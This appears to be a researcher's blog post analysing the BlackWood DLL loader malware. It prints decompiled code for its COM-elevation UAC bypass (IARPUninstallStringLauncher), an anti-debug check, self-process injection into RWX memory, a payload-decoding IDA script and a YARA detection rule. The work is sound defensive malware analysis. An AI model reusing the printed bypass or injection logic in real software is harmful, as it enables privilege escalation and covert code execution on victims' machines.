20240520125600 - BLG - A Quick Look at BlackWood DLL Loader
Description
Was searching through VX Underground’s Archive and saw DLL loader. Also, taking this as an excuse to try out yara-x
This loader is interesting as it attempts to do UAC bypass by retrieving COM objects specifically IARPUninstallStringLauncher
to obtain admin privilege.
It also decrypts a large content that was hardcoded in the binary that is used for process injection.
Malware Details
Name | SHA256 | Description |
---|---|---|
agent.dll | 72B81424D6235F17B3FC393958481E0316C63CA7AB9907914B5A737BA1AD2374 | BlackWood DLL Loader |
Quick Peek
There are just a few functions. Just 5 functions in total.
Ordinal 1 - agent_1-sub_10001A70
- Checks if the current executable is
run32dll.exe
. - If yes, then attempt to bypass UAC with
sub_100013E0
void __stdcall agent_1(int a1, int a2, int a3, int a4){ if ( check_current_exe_is_rundll32_sub_10001990() ) UAC_Bypass_sub_100013E0();}
sub_100013E0 - UAC Bypass
UAC bypass methods usually result in hijacking the normal execution flow of an elevated application by spawning a malicious child process or loading a malicious module inheriting the elevated integrity level of the targeted application.
They are:
- Registry Key Manipulation
- DLL Hijack
- Elevated COM Interface.
This BlackWood DLL loader attempts to instantiate and interact with COM object that requires admin privileges. UAC bypassed leveraging the COM Elevation Moniker to create and interact with elevated COM object.
Elevation:Administrator!new:{FCC74B77-EC3E-4DD8-A80B-008A702075A9}
- https://gist.github.com/Elm0D/de94d428ef8c45b7cd24409b5c343a33
- https://strontic.github.io/xcyclopedia/library/clsid_FCC74B77-EC3E-4dd8-A80B-008A702075A9.html
ARP UninstallString Launcher{FCC74B77-EC3E-4dd8-A80B-008A702075A9}{F885120E-3789-4fd9-865E-DC9B4A6412D2}
- This is CLSID for
IARPUninstallStringLauncher
- Found from Registry
InProcServer32
C:\Windows\system32\appwiz.cpl
- https://strontic.github.io/xcyclopedia/library/clsid_F885120E-3789-4fd9-865E-DC9B4A6412D2.html#inprocserver32
- Very likely used to bypass UAC
- This is CLSID for
[!note] From 3gstudent 通过COM组件IARPUninstallStringLauncher绕过UAC 在我搜索到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{FCC74B77-EC3E-4dd8-A80B-008A702075A9}时,获得名称ARP UninstallString Launcher
Steps
- GUID and IID creation
- Copies
Elevation:Administrator!new:{FCC74B77-EC3E-4DD8-A80B-008A702075A9}
intopszName
which is used for COM Elevation Moniker, used to request elevation for COM objects. - Initialization of COM Object via
CoInitialize(0)
- Setting up Bin Options to size 36
- Get the elevated COM Object via
CoGetObject
function which yieldsppv
, an interface pointer to COM object with elevated privileges. - Retrieves two different pointers.
LaunchUninstallStringAndWait
IARPUninstallStringLauncher_Release
- Prepares the second GUID string
LaunchUninstallStringAndWait
is called with constructed GUIDIARPUninstallStringLauncher_Release
releases COM Object- Unitializes the COM library
This works because once the evelated COM object is obtained, any method calls on this object are executed with admin rights. This allows the function to perform tasks that normally require elevated privlege without directly invoking a UAC prompt within the code.
void sub_100013E0(){ void (__stdcall *pfn_LaunchUninstallStringAndWait)(void *, _DWORD, __int16 *, _DWORD, _DWORD); // eax void (__stdcall *pfn_IARPUninstallStringLauncher_Release)(void *); // edi void *ppv; // [esp+14h] [ebp-160h] BYREF OLECHAR sz[40]; // [esp+18h] [ebp-15Ch] BYREF __int16 v4[40]; // [esp+68h] [ebp-10Ch] BYREF WCHAR pszName[68]; // [esp+B8h] [ebp-BCh] BYREF BIND_OPTS pBindOptions; // [esp+140h] [ebp-34h] BYREF int v7; // [esp+154h] [ebp-20h] int v8; // [esp+160h] [ebp-14h] IID iid; // [esp+164h] [ebp-10h] BYREF
sz[1] = 'F'; sz[16] = 'F'; sz[6] = '2'; sz[34] = '2'; sz[36] = '2'; sz[13] = '9'; sz[18] = '9'; sz[27] = '9'; sz[17] = 'D'; sz[25] = 'D'; ppv = 0; sz[0] = '{'; sz[2] = '8'; sz[3] = '8'; sz[4] = '5'; sz[5] = '1'; sz[7] = '0'; sz[8] = 'E'; sz[9] = '-'; sz[10] = '3'; sz[11] = '7'; sz[12] = '8'; sz[14] = '-'; sz[15] = '4'; sz[19] = '-'; sz[20] = '8'; sz[21] = '6'; sz[22] = '5'; sz[23] = 'E'; sz[24] = '-'; sz[26] = 'C'; sz[28] = 'B'; sz[29] = '4'; sz[30] = 'A'; sz[31] = '6'; sz[32] = '4'; sz[33] = '1'; sz[35] = 'D'; sz[37] = '}'; sz[38] = '\0';
// {F885120E-3789-4fd9-865E-DC9B4A6412D2} - CLSID for `IARPUninstallStringLauncher if ( !IIDFromString(sz, &iid) ) { wcscpy(pszName, L"Elevation:Administrator!new:{FCC74B77-EC3E-4DD8-A80B-008A702075A9}"); CoInitialize(0); memset(&pBindOptions, 0, 0x24u); v8 = 0; pBindOptions.cbStruct = 36; v7 = 4;
// Getting COM Object if ( CoGetObject(pszName, &pBindOptions, &iid, &ppv) >= 0 ) { pfn_LaunchUninstallStringAndWait = *(void (__stdcall **)(void *, _DWORD, __int16 *, _DWORD, _DWORD))(*(_DWORD *)ppv + 12); pfn_IARPUninstallStringLauncher_Release = *(void (__stdcall **)(void *))(*(_DWORD *)ppv + 8); if ( pfn_LaunchUninstallStringAndWait ) { if ( pfn_IARPUninstallStringLauncher_Release ) { v4[3] = 'B'; v4[5] = 'B'; v4[6] = 'D'; v4[27] = 'D'; v4[34] = 'D'; v4[35] = 'D'; v4[9] = '-'; v4[14] = '-'; v4[19] = '-'; v4[24] = '-'; v4[0] = '{'; v4[1] = '3'; v4[2] = 'E'; v4[4] = '0'; v4[7] = 'B'; v4[8] = '8'; v4[10] = '1'; v4[11] = 'B'; v4[12] = 'E'; v4[13] = '5'; v4[15] = '4'; v4[16] = '9'; v4[17] = '1'; v4[18] = '8'; v4[20] = 'A'; v4[21] = '7'; v4[22] = '8'; v4[23] = '8'; v4[25] = 'A'; v4[26] = '5'; v4[28] = '2'; v4[29] = 'F'; v4[30] = 'C'; v4[31] = 'A'; v4[32] = '2'; v4[33] = 'E'; v4[36] = 'A'; v4[37] = '}'; v4[38] = '\0'; pfn_LaunchUninstallStringAndWait(ppv, '\0', v4, 0, 0); pfn_IARPUninstallStringLauncher_Release(ppv); } } } CoUninitialize(); }}
DllMain - Anti-Debugger
Dll main contains a simple check to see if there is a potential debugger running. It does so by checking if an instance rundll32.exe is running.
- Retrieve its own filename
- If current exectuable is rundll32.exe, return
- If current executable is NOT rundll32.exe, then sub_10001170
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ BOOL is_rundll32_exe;
is_rundll32_exe = check_current_exe_is_rundll32_sub_10001990(); if ( fdwReason == 1 ) { GetModuleFileNameA(hinstDLL, Filename, 0x104u); if ( !is_rundll32_exe ) sub_10001170(); } return is_rundll32_exe;}
ProcessInjection_sub_10001170
- Forms Update.ini path directory same path of Filename
- Reads from
Update.ini
file the key “Update” under the “SET” section viaGetPrivateProfileStringA
- https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getprivateprofilestringa
- Interestingly, according to MSDN,
This function is provided only for compatibility with 16-bit Windows-based applications. Applications should store initialization information in the registry.
- It deletes and sleep for 1 second after the file specified by the
ReturnedString
fromGetPrivateProfileStringA
if successful retrieved. - It deletes the
Update.ini
file either ways. - It now retrieve the module handle for the current process and passed into
sub_10001000
to get the address ofExitProcess
- If
sub_10001000
is successful, then it would proceed to decode a large chunk of bytes. See the Decoding a large chunk of bytes section below.
Process Injection
- Current PID is being retrieved via
GetCurrentProcessId
- The process handle is retrieved using the current PID.
- Memory of size 0x1354u is allocated with RWX permissions.
- It appends and copy data into specific locations within the allocated memory using contents from the decoded chunk of bytes.
- It iterates through the memory, do some checks and modify pointers or values based on conditions.
- After that, code is executed from
((void (*)(void))(v8 + 4))();
Decoding a large chunk of bytes
The following is the algorithm to decode the large chunk of bytes.
# IDA Python
byte_10003010 = get_bytes(0x10003010,4436)byte_1000300F = [0] * len(byte_10003010)for i in range(len(byte_10003010)): byte_1000300F[i] = ~byte_10003010[i] & 0xFF # Apply bitwise NOT and mask to 8 bitshex_values = [f"{byte:x}" for byte in byte_1000300F]print ("\\x"+ "\\x".join(hex_values))
The following shows the sub_10001170
that does process injection
int ProcessInjection_sub_10001170(){ char *v0; // eax HMODULE ModuleHandleA; // eax int i; // eax char v3; // cl DWORD CurrentProcessId; // eax HANDLE v5; // eax char *rwx_memory; // eax char *rwx_memory1; // ebx char *v8; // edx int v9; // ebp int *v10; // eax int v11; // esi int v12; // ecx int v13; // ecx int *v15; // [esp+10h] [ebp-210h] char Str[257]; // [esp+18h] [ebp-208h] BYREF __int16 v17; // [esp+119h] [ebp-107h] char v18; // [esp+11Bh] [ebp-105h] CHAR ReturnedString[257]; // [esp+11Ch] [ebp-104h] BYREF __int16 v20; // [esp+21Dh] [ebp-3h] char v21; // [esp+21Fh] [ebp-1h]
memset(Str, 0, sizeof(Str)); v17 = 0; v18 = 0; strcat(Str, Filename);
// Find last occurrence of \\ v0 = strrchr(Str, '\\'); if ( v0 ) {
// Truncates after the last occurrence of \\ to get the current path v0[1] = 0;
strcat(Str, aUpdateIni); // Update.ini memset(ReturnedString, 0, sizeof(ReturnedString)); v20 = 0; v21 = 0;
// AppName -> "SET" // KeyName -> "Update" if ( GetPrivateProfileStringA(AppName, KeyName, Default, ReturnedString, 0x104u, Str) ) { Sleep(0x3E8u); DeleteFileA(ReturnedString); } DeleteFileA(Str); } ModuleHandleA = GetModuleHandleA(0); v15 = (int *)ExitProcess_Address_sub_10001000((PIMAGE_DOS_HEADER)ModuleHandleA); if ( v15 ) { for ( i = 0; i < 4436; byte_1000300F[i] = ~v3 ) v3 = decrypted_byte_10003010[i++]; CurrentProcessId = GetCurrentProcessId(); v5 = OpenProcess(8u, 0, CurrentProcessId); rwx_memory = (char *)VirtualAllocEx(v5, 0, 0x1354u, 0x3000u, PAGE_EXECUTE_READWRITE); if ( rwx_memory ) { rwx_memory1 = rwx_memory; v8 = rwx_memory + 0x200; strcat(rwx_memory, Filename); strcat(rwx_memory, aTxt); strcat(rwx_memory + 0x100, Filename); qmemcpy(rwx_memory + 0x200, decrypted_byte_10003010, 0x1154u); v9 = *((_DWORD *)rwx_memory + 0x80); v10 = (int *)(rwx_memory + 0x204); v11 = 4436; while ( 1 ) { v12 = *v10; if ( *v10 == 0x334455 ) break; switch ( v12 ) { case 0x223344: v13 = *v15; goto LABEL_20; case 0x445566: v13 = (int)&v8[v9 + 4]; goto LABEL_20; case 0x556677: *v10 = (int)rwx_memory1; break; case 0x667788: v13 = (int)(rwx_memory1 + 0x100); goto LABEL_20; }LABEL_21: v10 = (int *)((char *)v10 + 1); if ( --v11 <= 4 ) { ((void (*)(void))(v8 + 4))(); // Execute memory from v8+4 return 0; } } v13 = (int)v15;LABEL_20: *v10 = v13; goto LABEL_21; } } return 0;}
Yara Rules
- Put YARA in a folder called rules
rule BlackWood_DLL_Loader{ meta: description = "Simple Rule to detect BlockWood DLL loader, agent.dll" author = "Owl4444" date = "2024-05-19"
strings:
$string1 = "333333333333333.txt" ascii $string2 = "agent.dll" ascii $string3 = "Update.ini" ascii $string4 = "OpenProcess" ascii $string5 = "IIDFromString" ascii
// Delimiters used for decoded chunk for process injection $delim0 = {44 33 22 00} $delim1 = {55 44 33 00} $delim2 = {66 55 44 00} $delim3 = {77 66 55 00} $delim4 = {88 77 66 00}
condition: all of ($string*) and all of ($delim*)}
- Run scan
yr.exe scan rules .BlackWood \\?\M:\BlackWood\output_yarBlackWood \\?\M:\BlackWood\rules\blackwood.yarBlackWood \\?\M:\BlackWood\72b81424d6235f17b3fc393958481e0316c63ca7ab9907914b5a737ba1ad2374────────────────────────────────────────────────────────────────────────────────────────────── 5 file(s) scanned in 0.5s. 3 file(s) matched.
Reference
- https://blog.sonicwall.com/en-us/2024/01/blackwood-apt-group-has-a-new-dll-loader/
- https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
- https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/IARPUninstallStringLauncher.cpp
- https://strontic.github.io/xcyclopedia/library/clsid_FCC74B77-EC3E-4dd8-A80B-008A702075A9.html